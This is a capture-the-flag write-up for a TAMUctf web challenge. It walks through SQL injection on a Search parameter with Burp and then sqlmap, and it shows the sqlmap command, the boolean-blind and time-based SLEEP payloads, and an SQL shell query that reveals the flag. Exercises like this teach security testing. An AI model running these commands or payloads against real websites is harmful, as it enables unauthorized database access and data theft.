After sometime messing around on the ?Search= to determine we had a SQLi using union and version() via burp, we switch to sqlmap

> sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --dbms mysql --random-agent --sql-shell --hex

I have learn't over time that --hex helps speed things along as it only has 0123456789ABCDEF rather than the whole printable alphabet, anyway we tack on --sql-shell (after we have confirmed entry point) and hope for the best, BOOYA! we have an sql shell.

```
[22:30:31] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8)' from file '/usr/share/sqlmap/txt/user-agents.txt'
[22:30:32] [INFO] testing connection to the target URL
[22:30:33] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:

Parameter: Search (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Search=eggs' AND 6089=6089 AND 'EhDl'='EhDl

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: Search=eggs' AND SLEEP(5) AND 'IfnN'='IfnN

[22:30:33] [INFO] testing MySQL
[22:30:33] [INFO] confirming MySQL
[22:30:33] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[22:30:33] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
```

First things first is to see what user we are to see if it is worth esculating to a root shell

> sql-shell> select current_user

```
[22:30:42] [INFO] fetching SQL SELECT statement query output: 'select current_user'
[22:30:42] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:32:11] [INFO] retrieved: gigem{w3_4r3_th3_4ggi3s}@localhost
select current_user: 'gigem{w3_4r3_th3_4ggi3s}@localhost'
```

Second BOOYA! for the challenge we have the flag, was not expecting this...

> Flag: gigem{w3_4r3_th3_4ggi3s}